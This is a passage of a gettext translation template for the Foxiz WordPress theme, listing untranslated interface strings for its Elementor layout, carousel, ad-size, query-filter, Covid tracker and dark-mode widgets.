elementor/grid-box-1.php:509 #: elementor/grid-box-2.php:509 elementor/grid-small-1.php:518 #: elementor/hierarchical-1.php:430 elementor/hierarchical-2.php:402 #: elementor/hierarchical-3.php:417 elementor/list-1.php:544 #: elementor/list-2.php:528 elementor/list-box-1.php:543 #: elementor/list-box-2.php:543 elementor/list-small-1.php:375 #: elementor/list-small-2.php:425 elementor/list-small-3.php:415 #: elementor/overlay-1.php:390 elementor/overlay-2.php:494 msgid "Hide Entry Category" msgstr "" #: elementor/classic-1.php:520 elementor/grid-1.php:520 #: elementor/grid-2.php:519 elementor/grid-box-1.php:519 #: elementor/grid-box-2.php:519 elementor/grid-small-1.php:528 #: elementor/hierarchical-1.php:440 elementor/hierarchical-2.php:412 #: elementor/hierarchical-3.php:427 elementor/list-1.php:554 #: elementor/list-2.php:538 elementor/list-box-1.php:553 #: elementor/list-box-2.php:553 elementor/list-small-1.php:385 #: elementor/list-small-2.php:435 elementor/list-small-3.php:425 #: elementor/overlay-1.php:400 elementor/overlay-2.php:504 msgid "Tablet - Hide Entry Meta" msgstr "" #: elementor/classic-1.php:525 elementor/classic-1.php:538 #: elementor/grid-1.php:525 elementor/grid-1.php:538 elementor/grid-2.php:524 #: elementor/grid-2.php:537 elementor/grid-box-1.php:524 #: elementor/grid-box-1.php:537 elementor/grid-box-2.php:524 #: elementor/grid-box-2.php:537 elementor/grid-small-1.php:533 #: elementor/grid-small-1.php:546 elementor/hierarchical-1.php:445 #: elementor/hierarchical-1.php:458 elementor/hierarchical-2.php:417 #: elementor/hierarchical-2.php:430 elementor/hierarchical-3.php:432 #: elementor/hierarchical-3.php:445 elementor/list-1.php:559 #: elementor/list-1.php:572 elementor/list-2.php:543 elementor/list-2.php:556 #: elementor/list-box-1.php:558 elementor/list-box-1.php:571 #: elementor/list-box-2.php:558 elementor/list-box-2.php:571 #: elementor/list-small-1.php:390 elementor/list-small-1.php:403 #: elementor/list-small-2.php:440 elementor/list-small-2.php:453 #: elementor/list-small-3.php:430 elementor/list-small-3.php:443 #: elementor/overlay-1.php:405 elementor/overlay-1.php:418 #: elementor/overlay-2.php:509 elementor/overlay-2.php:522 msgid "avatar, author" msgstr "" #: elementor/classic-1.php:533 elementor/grid-1.php:533 #: elementor/grid-2.php:532 elementor/grid-box-1.php:532 #: elementor/grid-box-2.php:532 elementor/grid-small-1.php:541 #: elementor/hierarchical-1.php:453 elementor/hierarchical-2.php:425 #: elementor/hierarchical-3.php:440 elementor/list-1.php:567 #: elementor/list-2.php:551 elementor/list-box-1.php:566 #: elementor/list-box-2.php:566 elementor/list-small-1.php:398 #: elementor/list-small-2.php:448 elementor/list-small-3.php:438 #: elementor/overlay-1.php:413 elementor/overlay-2.php:517 msgid "Mobile - Hide Entry Meta" msgstr "" #: elementor/classic-1.php:546 elementor/grid-1.php:546 #: elementor/grid-2.php:545 elementor/grid-box-1.php:545 #: elementor/grid-box-2.php:545 elementor/grid-small-1.php:554 #: elementor/hierarchical-1.php:466 elementor/hierarchical-2.php:438 #: elementor/hierarchical-3.php:453 elementor/list-1.php:580 #: elementor/list-2.php:564 elementor/list-box-1.php:579 #: elementor/list-box-2.php:579 elementor/list-small-1.php:411 #: elementor/list-small-2.php:461 elementor/list-small-3.php:451 #: elementor/overlay-1.php:426 elementor/overlay-2.php:530 msgid "Hide Excerpt" msgstr "" #: elementor/classic-1.php:625 elementor/grid-1.php:662 #: elementor/grid-2.php:661 elementor/grid-box-1.php:661 #: elementor/grid-box-2.php:661 elementor/grid-small-1.php:670 #: elementor/hierarchical-1.php:553 elementor/hierarchical-2.php:507 #: elementor/hierarchical-3.php:512 elementor/list-1.php:659 #: elementor/list-2.php:643 elementor/list-box-1.php:658 #: elementor/list-box-2.php:658 elementor/list-small-1.php:509 #: elementor/list-small-2.php:577 elementor/list-small-3.php:549 #: elementor/overlay-1.php:514 elementor/overlay-2.php:618 msgid "Entry Category Font" msgstr "" #: elementor/classic-1.php:641 elementor/grid-1.php:678 #: elementor/grid-2.php:677 elementor/grid-box-1.php:677 #: elementor/grid-box-2.php:677 elementor/grid-small-1.php:686 #: elementor/overlay-2.php:634 msgid "" "This layout is best suited for putting to all sections, depending on column " "settings." msgstr "" #: elementor/classic-1.php:706 elementor/grid-1.php:744 #: elementor/grid-2.php:742 elementor/grid-box-1.php:786 #: elementor/grid-box-2.php:742 elementor/grid-small-1.php:751 #: elementor/hierarchical-1.php:567 elementor/hierarchical-2.php:521 #: elementor/hierarchical-3.php:526 elementor/list-1.php:732 #: elementor/list-2.php:724 elementor/list-box-1.php:775 #: elementor/list-box-2.php:775 elementor/list-small-1.php:619 #: elementor/list-small-2.php:658 elementor/list-small-3.php:630 #: elementor/overlay-1.php:605 elementor/overlay-2.php:709 msgid "Custom Element Spacing" msgstr "" #: elementor/classic-1.php:724 msgid "Content Max Width" msgstr "" #: elementor/classic-1.php:726 msgid "Input a max width value (in px) for the content of this layout." msgstr "" #: elementor/classic-1.php:734 elementor/control.php:250 #: elementor/control.php:517 elementor/grid-1.php:763 elementor/grid-2.php:761 #: elementor/grid-box-1.php:805 elementor/grid-box-2.php:761 #: elementor/grid-small-1.php:770 elementor/list-1.php:760 #: elementor/list-2.php:752 elementor/list-box-1.php:803 #: elementor/list-box-2.php:803 elementor/list-small-1.php:638 #: elementor/list-small-2.php:686 elementor/list-small-3.php:658 #: elementor/plan.php:153 membership/options.php:173 msgid "Border" msgstr "" #: elementor/classic-1.php:742 elementor/grid-1.php:771 #: elementor/grid-2.php:769 elementor/grid-box-1.php:813 #: elementor/grid-box-2.php:769 elementor/grid-small-1.php:778 #: elementor/list-1.php:768 elementor/list-2.php:760 #: elementor/list-box-1.php:811 elementor/list-box-2.php:811 #: elementor/list-small-1.php:646 elementor/list-small-2.php:694 #: elementor/list-small-3.php:666 msgid "The settings below require all responsive column values to be set." msgstr "" #: elementor/classic-1.php:759 elementor/control.php:254 #: elementor/grid-1.php:788 elementor/grid-2.php:786 #: elementor/grid-box-1.php:830 elementor/grid-box-2.php:786 #: elementor/grid-small-1.php:795 elementor/list-1.php:785 #: elementor/list-2.php:777 elementor/list-box-1.php:828 #: elementor/list-box-2.php:828 elementor/list-small-1.php:663 #: elementor/list-small-2.php:711 elementor/list-small-3.php:683 msgid "Bottom Border" msgstr "" #: elementor/classic-1.php:769 elementor/grid-1.php:798 #: elementor/grid-2.php:796 elementor/grid-box-1.php:840 #: elementor/grid-box-2.php:796 elementor/grid-small-1.php:805 #: elementor/list-1.php:795 elementor/list-2.php:787 #: elementor/list-box-1.php:838 elementor/list-box-2.php:838 #: elementor/list-small-1.php:673 elementor/list-small-2.php:721 #: elementor/list-small-3.php:693 msgid "Last Bottom Border" msgstr "" #: elementor/classic-1.php:779 elementor/grid-1.php:808 #: elementor/grid-2.php:806 elementor/grid-box-1.php:850 #: elementor/grid-box-2.php:850 elementor/grid-small-1.php:815 #: elementor/list-1.php:805 elementor/list-2.php:797 #: elementor/list-box-1.php:848 elementor/list-box-2.php:848 #: elementor/list-small-2.php:731 elementor/overlay-1.php:633 #: elementor/overlay-2.php:737 msgid "Centering" msgstr "" #: elementor/classic-1.php:786 elementor/grid-1.php:815 #: elementor/grid-2.php:813 elementor/grid-box-1.php:857 #: elementor/grid-box-2.php:857 elementor/grid-small-1.php:822 #: elementor/list-1.php:812 elementor/list-2.php:804 #: elementor/list-box-1.php:855 elementor/list-box-2.php:855 #: elementor/overlay-1.php:640 elementor/overlay-2.php:744 msgid "Centering Content" msgstr "" #: elementor/control.php:16 elementor/control.php:21 elementor/control.php:281 #: elementor/control.php:287 elementor/control.php:329 #: elementor/navigation.php:89 elementor/search-icon.php:54 #: includes/helpers.php:223 msgid "Enable" msgstr "" #: elementor/control.php:17 elementor/control.php:22 elementor/control.php:226 #: elementor/control.php:257 elementor/control.php:271 #: elementor/control.php:283 elementor/control.php:289 #: elementor/control.php:310 elementor/control.php:331 #: elementor/control.php:500 includes/helpers.php:224 msgid "Disable" msgstr "" #: elementor/control.php:36 elementor/control.php:77 includes/helpers.php:415 msgid "-- All categories --" msgstr "" #: elementor/control.php:40 includes/helpers.php:419 msgid "Dynamic Query" msgstr "" #: elementor/control.php:118 widgets/sb-post.php:121 msgid "Latest Posts" msgstr "" #: elementor/control.php:119 widgets/sb-post.php:122 msgid "Last Updated" msgstr "" #: elementor/control.php:120 widgets/sb-post.php:123 msgid "Popular Comment" msgstr "" #: elementor/control.php:121 widgets/sb-post.php:124 msgid "Popular" msgstr "" #: elementor/control.php:122 widgets/sb-post.php:125 msgid "Popular Published last 30 Days" msgstr "" #: elementor/control.php:123 widgets/sb-post.php:126 msgid "Popular Published last 7 Days" msgstr "" #: elementor/control.php:124 widgets/sb-post.php:127 msgid "Top Review" msgstr "" #: elementor/control.php:125 widgets/sb-post.php:128 msgid "Latest Review" msgstr "" #: elementor/control.php:126 widgets/sb-post.php:129 msgid "Post Type" msgstr "" #: elementor/control.php:127 widgets/sb-post.php:130 msgid "Latest Sponsored" msgstr "" #: elementor/control.php:128 widgets/sb-post.php:131 msgid "Random" msgstr "" #: elementor/control.php:129 widgets/sb-post.php:132 msgid "Author" msgstr "" #: elementor/control.php:130 widgets/sb-post.php:133 msgid "Title DECS" msgstr "" #: elementor/control.php:131 widgets/sb-post.php:134 msgid "Title ACS" msgstr "" #: elementor/control.php:132 widgets/sb-post.php:135 msgid "by input IDs Data (Post IDs filter)" msgstr "" #: elementor/control.php:139 widgets/sb-post.php:94 msgid "-- All --" msgstr "" #: elementor/control.php:141 widgets/sb-post.php:96 msgid "Gallery" msgstr "" #: elementor/control.php:142 widgets/sb-post.php:97 msgid "Video" msgstr "" #: elementor/control.php:143 widgets/sb-post.php:98 msgid "Audio" msgstr "" #: elementor/control.php:155 msgid "--All Authors--" msgstr "" #: elementor/control.php:176 msgid "H1" msgstr "" #: elementor/control.php:177 msgid "H2" msgstr "" #: elementor/control.php:178 msgid "H3" msgstr "" #: elementor/control.php:179 msgid "H4" msgstr "" #: elementor/control.php:180 msgid "H5" msgstr "" #: elementor/control.php:181 msgid "H6" msgstr "" #: elementor/control.php:182 msgid "p tag" msgstr "" #: elementor/control.php:183 msgid "span" msgstr "" #: elementor/control.php:197 msgid "Custom Settings Below" msgstr "" #: elementor/control.php:204 msgid "Use Post Excerpt" msgstr "" #: elementor/control.php:205 msgid "Use Title Tagline" msgstr "" #: elementor/control.php:217 elementor/control.php:239 #: elementor/control.php:270 elementor/control.php:302 #: elementor/control.php:328 msgid "Default from Theme Option" msgstr "" #: elementor/control.php:218 elementor/control.php:240 msgid "Background 1" msgstr "" #: elementor/control.php:219 elementor/control.php:241 msgid "Background 1 (Big)" msgstr "" #: elementor/control.php:220 elementor/control.php:242 msgid "Background 2" msgstr "" #: elementor/control.php:221 elementor/control.php:243 msgid "Background 2 (Big)" msgstr "" #: elementor/control.php:222 elementor/control.php:244 msgid "Background 3" msgstr "" #: elementor/control.php:223 elementor/control.php:245 msgid "Background 3 (Big)" msgstr "" #: elementor/control.php:224 elementor/control.php:246 msgid "Background 4" msgstr "" #: elementor/control.php:225 elementor/control.php:247 msgid "Background 4 (Big)" msgstr "" #: elementor/control.php:248 msgid "Only Text" msgstr "" #: elementor/control.php:249 msgid "Only Text (Big)" msgstr "" #: elementor/control.php:251 msgid "Border (Big)" msgstr "" #: elementor/control.php:252 msgid "Bottom Dotted" msgstr "" #: elementor/control.php:253 msgid "Bottom Dotted (Big)" msgstr "" #: elementor/control.php:255 msgid "Bottom Border (Big)" msgstr "" #: elementor/control.php:256 msgid "Left Dot" msgstr "" #: elementor/control.php:272 msgid "Custom Below" msgstr "" #: elementor/control.php:282 elementor/control.php:288 msgid "Enable without Label" msgstr "" #: elementor/control.php:303 msgid "Bottom Right" msgstr "" #: elementor/control.php:304 msgid "Bottom Right (Big Icon) " msgstr "" #: elementor/control.php:305 elementor/control.php:571 #: elementor/control.php:577 msgid "Top" msgstr "" #: elementor/control.php:306 msgid "Top (Big Icon)" msgstr "" #: elementor/control.php:307 elementor/dark-toggle.php:74 #: elementor/font-resizer.php:82 elementor/login-icon.php:109 #: elementor/logo.php:108 elementor/menu.php:83 elementor/mini-cart.php:77 #: elementor/navigation.php:127 elementor/notification-icon.php:92 #: elementor/search-icon.php:108 elementor/social-list.php:99 #: widgets/sb-social-icon.php:87 msgid "Center" msgstr "" #: elementor/control.php:308 msgid "Center (Big Icon)" msgstr "" #: elementor/control.php:309 msgid "After Entry Category" msgstr "" #: elementor/control.php:330 msgid "Replace for Entry Meta" msgstr "" #: elementor/control.php:353 elementor/social-follower.php:335 msgid "1 Column" msgstr "" #: elementor/control.php:354 elementor/social-follower.php:336 msgid "2 Columns" msgstr "" #: elementor/control.php:355 elementor/social-follower.php:337 msgid "3 Columns" msgstr "" #: elementor/control.php:356 elementor/social-follower.php:338 msgid "4 Columns" msgstr "" #: elementor/control.php:357 elementor/social-follower.php:339 msgid "5 Columns" msgstr "" #: elementor/control.php:358 elementor/social-follower.php:340 msgid "6 Columns" msgstr "" #: elementor/control.php:359 elementor/social-follower.php:341 msgid "7 Columns" msgstr "" #: elementor/control.php:380 msgid "No Gap" msgstr "" #: elementor/control.php:381 msgid "10px" msgstr "" #: elementor/control.php:382 msgid "14px" msgstr "" #: elementor/control.php:383 msgid "20px" msgstr "" #: elementor/control.php:384 msgid "30px" msgstr "" #: elementor/control.php:385 msgid "40px" msgstr "" #: elementor/control.php:386 msgid "50px" msgstr "" #: elementor/control.php:387 msgid "60px" msgstr "" #: elementor/control.php:388 msgid "70px" msgstr "" #: elementor/control.php:389 msgid "Custom Value" msgstr "" #: elementor/control.php:402 elementor/control.php:504 #: elementor/control.php:525 elementor/navigation.php:88 #: elementor/search-icon.php:53 msgid "- Disable -" msgstr "" #: elementor/control.php:403 msgid "Next Prev" msgstr "" #: elementor/control.php:404 msgid "Show More" msgstr "" #: elementor/control.php:405 msgid "Infinite Scroll" msgstr "" #: elementor/control.php:423 msgid "Numeric" msgstr "" #: elementor/control.php:424 msgid "Simple" msgstr "" #: elementor/control.php:425 msgid "Show More (ajax)" msgstr "" #: elementor/control.php:426 msgid "Infinite Scroll (ajax)" msgstr "" #: elementor/control.php:457 elementor/dark-toggle.php:70 #: elementor/font-resizer.php:78 elementor/login-icon.php:105 #: elementor/logo.php:104 elementor/menu.php:79 elementor/mini-cart.php:73 #: elementor/navigation.php:123 elementor/notification-icon.php:88 #: elementor/search-icon.php:104 elementor/social-list.php:95 #: widgets/sb-post.php:164 widgets/sb-social-icon.php:86 msgid "Left" msgstr "" #: elementor/control.php:458 elementor/dark-toggle.php:78 #: elementor/font-resizer.php:86 elementor/login-icon.php:113 #: elementor/logo.php:112 elementor/menu.php:87 elementor/mini-cart.php:81 #: elementor/navigation.php:131 elementor/notification-icon.php:96 #: elementor/search-icon.php:112 elementor/social-list.php:103 #: widgets/sb-post.php:165 msgid "Right" msgstr "" #: elementor/control.php:474 msgid "avatar (Author Avatar)" msgstr "" #: elementor/control.php:475 msgid "author (Author)" msgstr "" #: elementor/control.php:476 msgid "date (Publish Date)" msgstr "" #: elementor/control.php:477 msgid "category (Categories)" msgstr "" #: elementor/control.php:478 msgid "tag (Tags)" msgstr "" #: elementor/control.php:479 msgid "view (Post Views)" msgstr "" #: elementor/control.php:480 msgid "comment (Comments)" msgstr "" #: elementor/control.php:481 msgid "update (Last Updated)" msgstr "" #: elementor/control.php:482 msgid "read (Reading Time)" msgstr "" #: elementor/control.php:483 msgid "custom (Custom)" msgstr "" #: elementor/control.php:497 elementor/control.php:505 msgid "On Mobile" msgstr "" #: elementor/control.php:498 elementor/control.php:506 msgid "On Tablet" msgstr "" #: elementor/control.php:499 msgid "On Tablet & Mobile" msgstr "" #: elementor/control.php:507 msgid "Tablet & Mobile" msgstr "" #: elementor/control.php:516 elementor/plan.php:154 msgid "Background" msgstr "" #: elementor/control.php:518 elementor/plan.php:152 msgid "Shadow" msgstr "" #: elementor/control.php:526 msgid "Gray Solid" msgstr "" #: elementor/control.php:527 msgid "Dark Solid" msgstr "" #: elementor/control.php:528 msgid "Gray Dotted" msgstr "" #: elementor/control.php:529 msgid "Dark Dotted" msgstr "" #: elementor/control.php:530 msgid "Gray Dashed" msgstr "" #: elementor/control.php:531 msgid "Dark Dashed" msgstr "" #: elementor/control.php:541 widgets/sb-ad-script.php:126 msgid "Leaderboard (728x90)" msgstr "" #: elementor/control.php:542 widgets/sb-ad-script.php:127 msgid "Banner (468x60)" msgstr "" #: elementor/control.php:543 widgets/sb-ad-script.php:128 msgid "Half banner (234x60)" msgstr "" #: elementor/control.php:544 widgets/sb-ad-script.php:129 msgid "Button (125x125)" msgstr "" #: elementor/control.php:545 widgets/sb-ad-script.php:130 msgid "Skyscraper (120x600)" msgstr "" #: elementor/control.php:546 widgets/sb-ad-script.php:131 msgid "Wide Skyscraper (160x600)" msgstr "" #: elementor/control.php:547 widgets/sb-ad-script.php:132 msgid "Small Rectangle (180x150)" msgstr "" #: elementor/control.php:548 widgets/sb-ad-script.php:133 msgid "Vertical Banner (120 x 240)" msgstr "" #: elementor/control.php:549 widgets/sb-ad-script.php:134 msgid "Small Square (200x200)" msgstr "" #: elementor/control.php:550 widgets/sb-ad-script.php:135 msgid "Square (250x250)" msgstr "" #: elementor/control.php:551 widgets/sb-ad-script.php:136 msgid "Medium Rectangle (300x250)" msgstr "" #: elementor/control.php:552 widgets/sb-ad-script.php:137 msgid "Large Rectangle (336x280)" msgstr "" #: elementor/control.php:553 widgets/sb-ad-script.php:138 msgid "Half Page (300x600)" msgstr "" #: elementor/control.php:554 widgets/sb-ad-script.php:139 msgid "Portrait (300x1050)" msgstr "" #: elementor/control.php:555 widgets/sb-ad-script.php:140 msgid "Mobile Banner (320x50)" msgstr "" #: elementor/control.php:556 widgets/sb-ad-script.php:141 msgid "Large Leaderboard (970x90)" msgstr "" #: elementor/control.php:557 widgets/sb-ad-script.php:142 msgid "Billboard (970x250)" msgstr "" #: elementor/control.php:558 widgets/sb-ad-script.php:143 msgid "Mobile Banner (320x100)" msgstr "" #: elementor/control.php:559 widgets/sb-ad-script.php:144 msgid "Mobile Friendly (300x100)" msgstr "" #: elementor/control.php:560 widgets/sb-ad-script.php:125 msgid "Hide on Desktop" msgstr "" #: elementor/control.php:569 elementor/control.php:575 msgid "Middle" msgstr "" #: elementor/control.php:570 elementor/control.php:576 msgid "Bottom" msgstr "" #: elementor/control.php:585 msgid "Filter posts by category." msgstr "" #: elementor/control.php:590 widgets/sb-post.php:71 msgid "" "Filter posts by multiple category IDs, separated category IDs by commas (for " "example: 1,2,3)." msgstr "" #: elementor/control.php:595 widgets/sb-post.php:78 msgid "" "Filter posts by tag slugs, separated by commas (for example: tagslug1," "tagslug2,tagslug3)." msgstr "" #: elementor/control.php:600 widgets/sb-post.php:85 msgid "" "Exclude tag slugs, separated by commas (for example: tagslug1,tagslug2," "tagslug3)." msgstr "" #: elementor/control.php:605 widgets/sb-post.php:92 msgid "Filter posts by post format." msgstr "" #: elementor/control.php:610 msgid "Filter posts by post author." msgstr "" #: elementor/control.php:615 widgets/sb-post.php:106 msgid "Exclude posts by Post IDs, separated by commas (for example: 1,2,3)." msgstr "" #: elementor/control.php:620 widgets/sb-post.php:113 msgid "Filter posts by post IDs. separated by commas (for example: 1,2,3)." msgstr "" #: elementor/control.php:625 msgid "Select a sort order type for queried posts." msgstr "" #: elementor/control.php:630 msgid "Select a number of posts to show at once." msgstr "" #: elementor/control.php:635 widgets/sb-post.php:149 msgid "" "Select number of posts to pass over. Leave this option blank to set at the " "beginning." msgstr "" #: elementor/control.php:640 msgid "Select a title HTML tag for the main title." msgstr "" #: elementor/control.php:645 msgid "Select a title HTML tag for the secondary titles." msgstr "" #: elementor/control.php:650 msgid "Select a featured image size to optimize with the columns setting." msgstr "" #: elementor/control.php:655 msgid "Select a position of the featured image for this layout." msgstr "" #: elementor/control.php:660 msgid "" "Input custom ratio percent (height*100/width) for featured image you would " "like. For example: 50" msgstr "" #: elementor/control.php:665 msgid "Enable or disable category info on the post featured image." msgstr "" #: elementor/control.php:670 msgid "" "Input custom font size value for the entry category of this layout. Leave " "blank if you would like to set it as the default." msgstr "" #: elementor/control.php:675 msgid "Enable or disable the post entry meta." msgstr "" #: elementor/control.php:680 widgets/sb-post.php:156 msgid "" "Input custom entry meta tags to show, separate by comma. For example: avatar," "author,date. Keys include: [avatar, author, date, category, tag, view, " "comment, update, read, custom]" msgstr "" #: elementor/control.php:690 msgid "Disable or select setting for the post review meta." msgstr "" #: elementor/control.php:695 msgid "Enable or disable the post format icon." msgstr "" #: elementor/control.php:700 msgid "" "Input custom font size value for the post format icon of this layout. Leave " "blank if you would like to set it as the default." msgstr "" #: elementor/control.php:705 msgid "" "Input custom font size value for the post excerpt. Leave blank if you would " "like to set it as the default." msgstr "" #: elementor/control.php:710 msgid "Enable or disable the short meta description in the entry review bar." msgstr "" #: elementor/control.php:715 msgid "Enable or disable the bookmark." msgstr "" #: elementor/control.php:720 msgid "Select settings for the post excerpt." msgstr "" #: elementor/control.php:725 msgid "" "Leave this option blank or set 0 to disable. Choose \"Custom Settings " "Below\" in the above \"Excerpt\" option to activate this setting." msgstr "" #: elementor/control.php:730 msgid "" "Select a source of content to display for the post excerpt. Choose \"Custom " "Settings Below\" in the above \"Excerpt\" option to activate this setting." msgstr "" #: elementor/control.php:735 msgid "Enable or disable the read more button." msgstr "" #: elementor/control.php:740 msgid "Select total columns to show per row." msgstr "" #: elementor/control.php:745 msgid "Select total columns to show per row on the tablet device." msgstr "" #: elementor/control.php:750 msgid "Select total columns to show per row on the mobile device." msgstr "" #: elementor/control.php:755 msgid "" "Select a spacing between columns. Select \"Custom Value\" if you would like " "input it manually." msgstr "" #: elementor/control.php:760 msgid "" "Input 1/2 value of the custom gap between columns (in px) for desktop, " "tablet and mobile devices. The spacing will be 2x your input value." msgstr "" #: elementor/control.php:765 msgid "Display vertical borders between columns." msgstr "" #: elementor/control.php:770 msgid "Select a ajax pagination type." msgstr "" #: elementor/control.php:775 msgid "Do not duplicate posts has been queried before this block." msgstr "" #: elementor/control.php:780 msgid "" "If you assign this template for category or archive. The dynamic query helps " "you to only filter posts that base on current category page it's display on." msgstr "" #: elementor/control.php:785 msgid "" "Dynamic query cannot execute in this live editor. The latest posts will be " "displayed. Your change will be effect when you assign this template to a " "category page." msgstr "" #: elementor/control.php:790 msgid "Enable the scroll bar." msgstr "" #: elementor/control.php:795 msgid "" "Input the max block height (in px) when you would like to enable scrollbar. " "Leave this option blank to disable the scroll bar." msgstr "" #: elementor/control.php:800 msgid "Select a text color scheme for this block." msgstr "" #: elementor/control.php:805 msgid "Select a box style for the post listing ." msgstr "" #: elementor/control.php:810 msgid "Select a color for the background or border style." msgstr "" #: elementor/control.php:815 msgid "" "Select a color in the dark mode or light scheme mode for the background or " "border style." msgstr "" #: elementor/control.php:820 msgid "" "In case you would like to switch layout and text to light when set a dark " "background for this section." msgstr "" #: elementor/control.php:825 msgid "" "The settings below will override on theme option settings and the above font " "size settings." msgstr "" #: elementor/control.php:830 msgid "" "Display counter in the post listing. It will not compatible with the slider " "or carousel mode." msgstr "" #: elementor/control.php:835 msgid "Set a start value (index -1) for the counter." msgstr "" #: elementor/control.php:840 msgid "" "Input custom font sizes for the counter. Please blank to set it as the " "default." msgstr "" #: elementor/control.php:845 msgid "" "Input custom font size values (px) for the post title for displaying in this " "block." msgstr "" #: elementor/control.php:850 msgid "" "Input custom font size values (px) for the secondary post title for " "displaying in this block." msgstr "" #: elementor/control.php:855 msgid "Enable or disable the \"sponsored by\" meta for this post listing." msgstr "" #: elementor/control.php:860 msgid "Hide the entry category of this block on the tablet and mobile devices." msgstr "" #: elementor/control.php:865 msgid "Hide the post excerpt of this block on the tablet and mobile devices." msgstr "" #: elementor/control.php:870 msgid "" "Input entry meta tags to hide on the tablet devices, separate by comma. For " "example: avatar, author Keys include: [avatar, author, date, category, tag, " "view, comment, update, read, custom]. Input -1 to re-enable all meta." msgstr "" #: elementor/control.php:875 msgid "" "Input entry meta tags to hide on the mobile devices, separate by comma. For " "example: avatar, author Keys include: [avatar, author, date, category, tag, " "view, comment, update, read, custom]. Input -1 to re-enable all meta" msgstr "" #: elementor/control.php:880 msgid "Display this block in the slider layout if it has more than one post." msgstr "" #: elementor/control.php:885 msgid "Display this block in the carousel layout." msgstr "" #: elementor/control.php:890 msgid "" "Input total slides to show for the carousel. This value will be override on " "the columns settings, Allowing decimal value, i.e: 2.3, 2.4...." msgstr "" #: elementor/control.php:895 msgid "" "Input total slides to show for the carousel on the wide screen devices " "(wider than 1500px). Leave blank to use the above settings." msgstr "" #: elementor/control.php:900 msgid "" "Input a custom spacing value between carousel items. The spacing will be " "same as your input value. Set \"-1\" to disable the gap." msgstr "" #: elementor/control.php:905 msgid "Enable or disable the pagination dot for this carousel." msgstr "" #: elementor/control.php:910 msgid "Enable or disable the next/prev navigation dot for this carousel." msgstr "" #: elementor/control.php:915 msgid "Input a custom spacing for the carousel navigation bar." msgstr "" #: elementor/control.php:920 msgid "Enable or disable autoplay for this slider." msgstr "" #: elementor/control.php:925 msgid "" "Input a custom time to next a slide in milliseconds. Leave blank if you " "would like to set it as the default (Theme Options)." msgstr "" #: elementor/control.php:930 msgid "Enable or disable free mode when scrolling on for this carousel." msgstr "" #: elementor/control.php:935 msgid "Enable centered mode for this carousel in case you set decimal sliders." msgstr "" #: elementor/control.php:940 msgid "" "Input custom spacing values (px) between elements for displaying in this " "block." msgstr "" #: elementor/control.php:945 msgid "" "Input custom spacing values (px) between elements and featured image for " "displaying in this block." msgstr "" #: elementor/control.php:950 msgid "Input custom bottom margin values (px) between posts listing." msgstr "" #: elementor/control.php:955 msgid "" "Show a border at the bottom of each post in the listing. The bottom spacing " "will be x2 if you enable this option." msgstr "" #: elementor/control.php:960 msgid "Disable border for the last posts in this listing." msgstr "" #: elementor/control.php:965 msgid "Centering text and content for the post listing." msgstr "" #: elementor/control.php:970 msgid "Vertical align middle elements for the post listing." msgstr "" #: elementor/control.php:975 msgid "" "Input a custom border radius (in px) for the featured image or boxed layout. " "Set 0 to disable it." msgstr "" #: elementor/control.php:980 msgid "" "Input 1/2 value of the custom gap between the featured image and list post " "content (in px) for desktop, tablet devices. The spacing will be 2x your " "input value." msgstr "" #: elementor/control.php:985 msgid "" "The setting below allows you to apply the Global query (wp_query) to this " "layout and show it as a the main blog listing for the the category or " "archive page." msgstr "" #: elementor/control.php:990 msgid "" "Don't apply the WP global query mode for more than 1 block in a template to " "avoid duplicated layouts." msgstr "" #: elementor/control.php:995 msgid "" "The \"Query Settings\" & \"Unique Filter\" will be not available in the \"WP " "global query\" mode." msgstr "" #: elementor/control.php:1000 msgid "" "Please use \"WP Global Query Pagination\". The \"Ajax Pagination\" settings " "will be not available when you choose \"WP global query\" mode." msgstr "" #: elementor/control.php:1005 msgid "" "The \"WP global query mode\" layout cannot execute in this live editor. You " "can check these changes in the frontend when assign this template for a " "category or archive page." msgstr "" #: elementor/control.php:1010 msgid "" "Tips: You can change the \"Number of Posts\" setting in \"Query Settings\" " "the same as with \"Blog pages show at most\" value. This will make the " "layout look like as the frontend." msgstr "" #: elementor/control.php:1015 msgid "" "To change \"Number of Posts\" per page, please navigate to Category Page, " "Theme Options or Settings > Reading." msgstr "" #: elementor/control.php:1020 msgid "" "This is the main blog pagination for the category and archive pages. It is " "only available on the archive builder template. Please don't place this " "block into a standard page." msgstr "" #: elementor/control.php:1025 msgid "" "The pagination cannot execute in this live editor. You can check these " "changes in the frontend when assign this template for a category or archive " "page" msgstr "" #: elementor/control.php:1030 msgid "" "The ajax types is available on category, tag and blog index page. For other " "archives, The theme will fallback to the numeric type." msgstr "" #: elementor/control.php:1035 msgid "" "Choose to use the global query or use the \"Query settings\" panel. Please " "read the above notices for further information." msgstr "" #: elementor/covid-data.php:26 msgid "Foxiz - Covid Data Tracker" msgstr "" #: elementor/covid-data.php:43 msgid "Covid Data Settings" msgstr "" #: elementor/covid-data.php:51 msgid "Country Code" msgstr "" #: elementor/covid-data.php:53 msgid "" "Input a country code you would like to display, ie: US. Leave blank if you " "would like to display global data." msgstr "" #: elementor/covid-data.php:61 msgid "Country Name" msgstr "" #: elementor/covid-data.php:64 msgid "Input the country name of the code you have just added." msgstr "" #: elementor/covid-data.php:78 msgid "Virus Icon" msgstr "" #: elementor/covid-data.php:80 msgid "Show a virus icon in this block." msgstr "" #: elementor/covid-data.php:88 msgid "Name HTML Tag" msgstr "" #: elementor/covid-data.php:90 msgid "Select a title HTML tag for the country name." msgstr "" #: elementor/covid-data.php:98 msgid "Name Font Size" msgstr "" #: elementor/covid-data.php:100 msgid "" "Input custom font size values (px) for the country name for displaying in " "this block." msgstr "" #: elementor/covid-data.php:152 msgid "Label Text Font" msgstr "" #: elementor/covid-data.php:160 msgid "Total Number Font" msgstr "" #: elementor/dark-toggle.php:25 msgid "Foxiz - Header Dark Mode Toggle" msgstr "" #: elementor/dark-toggle.php:42 elementor/font-resizer.php:42 #: elementor/logo.php:80 elementor/menu.php:61 elementor/mini-cart.php:42 #: elementor/navigation.php:97 elementor/notification-icon.php:57 #: elementor/search-icon.php:62 elementor/social-list.php:59 msgid "Style Settings" msgstr "" #: elementor/dark-toggle.php:49 msgid "Mode Switcher - Light Icon Color" msgstr "" #: elementor/dark-toggle.php:51 msgid "" "Select a color for the light mode icon (Sun icon) of the dark mode switcher " "button to fit with the main navigation color." msgstr "" #: elementor/dark-toggle.php:58 msgid "Mode Switcher - Dark Icon Background" msgstr "" #: elementor/dark-toggle.php:60 msgid "" "Select a background for the dark mode icon (Moon icon) of the dark mode " "switcher button to fit with the main navigation color." msgstr "" #: elementor/dark-toggle.php:66 elementor/font-resizer.php:74 #: 